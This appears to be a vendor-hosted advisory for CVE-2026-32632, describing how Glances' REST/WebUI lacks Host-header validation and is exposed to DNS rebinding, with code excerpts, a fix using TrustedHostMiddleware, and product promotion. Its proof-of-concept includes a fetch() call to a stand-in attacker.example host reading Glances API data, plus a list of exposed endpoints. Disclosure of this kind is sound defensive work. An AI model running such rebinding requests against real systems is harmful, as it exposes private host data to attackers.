CVE-2026-32632 is a medium-severity (CVSS 5.9) CWE-346 vulnerability in glances. A fix is available for glances — see the affected versions and patch details below.
Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32632.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32632 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
glancesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Glances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary Host headers and does not apply TrustedHostMiddleware or an equivalent host allowlist.
As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.
This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.
Details
The MCP endpoint now has explicit host-based transport security:
# glances/outputs/glances_mcp.py
self.mcp_allowed_hosts = ["localhost", "127.0.0.1"]
...
return TransportSecuritySettings(
allowed_hosts=allowed_hosts,
allowed_origins=allowed_origins,
)
However, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:
# glances/outputs/glances_restful_api.py
self._app = FastAPI(default_response_class=GlancesJSONResponse)
...
self._app.add_middleware(
CORSMiddleware,
allow_origins=config.get_list_value('outputs', 'cors_origins', default=["*"]),
allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),
allow_methods=config.get_list_value('outputs', 'cors_methods', default=["*"]),
allow_headers=config.get_list_value('outputs', 'cors_headers', default=["*"]),
)
...
if self.args.password and self._jwt_handler is not None:
self._app.include_router(self._token_router())
self._app.include_router(self._router())
There is no TrustedHostMiddleware, no comparison against the configured bind host, and no allowlist enforcement for HTTP Host values on the REST/WebUI surface.
The default bind configuration also exposes the service on all interfaces:
# glances/main.py
parser.add_argument(
'-B',
'--bind',
default='0.0.0.0',
dest='bind_address',
help='bind server to the given IPv4/IPv6 address or hostname',
)
This combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.
The token endpoint is also mounted on the same unprotected FastAPI app:
# glances/outputs/glances_restful_api.py
def _token_router(self) -> APIRouter:
...
router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])
Why This Is Exploitable
In a DNS rebinding attack:
- The attacker serves JavaScript from
https://attacker.example. - The victim visits that page while a Glances instance is reachable on the victim network.
- The attacker's DNS for
attacker.exampleis rebound from the attacker's server to the Glances IP address. - The victim browser now sends same-origin requests to
https://attacker.example, but those requests are delivered to Glances. - Because the Glances REST/WebUI app does not validate the
Hostheader or enforce an allowed-host policy, it serves the response. - The attacker-controlled JavaScript can read the response as same-origin content.
The MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.
Proof of Concept
This issue is code-validated by inspection of the current implementation:
- REST/WebUI/token are all mounted on a plain
FastAPI(...)app - no
TrustedHostMiddlewareor equivalent host validation is applied - default bind is
0.0.0.0 - MCP has separate rebinding protection, showing the project already recognizes the threat model
In a live deployment, the expected verification is:
# Victim-accessible Glances service
glances -w
# Attacker-controlled rebinding domain first resolves to attacker infra,
# then rebinds to the victim-local Glances IP.
# After rebind, attacker JS can fetch:
fetch("http://attacker.example:61208/api/4/status")
.then(r => r.text())
.then(console.log)
And if the operator exposes Glances without --password (supported and common), the attacker can read endpoints such as:
GET /api/4/status
GET /api/4/all
GET /api/4/config
GET /api/4/args
GET /api/4/serverslist
Even on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.
Impact
- Remote read of local/internal REST data: DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.
- Bypass of origin-based browser isolation: Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.
- High-value chaining surface: This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.
- Token surface exposure: The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.
Recommended Fix
Apply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:
from starlette.middleware.trustedhost import TrustedHostMiddleware
allowed_hosts = config.get_list_value(
'outputs',
'allowed_hosts',
default=['localhost', '127.0.0.1'],
)
self._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)
At minimum:
- reject requests whose
Hostheader does not match an explicit allowlist - do not rely on
0.0.0.0bind semantics as an access-control boundary - document that reverse-proxy deployments must set a strict host allowlist
References
glances/outputs/glances_mcp.pyglances/outputs/glances_restful_api.pyglances/main.py
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | glances | all versions | 4.5.2pip install --upgrade 'glances==4.5.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32632 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32632 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32632. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32632 in your dependencies?
O3 Security finds CVE-2026-32632 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.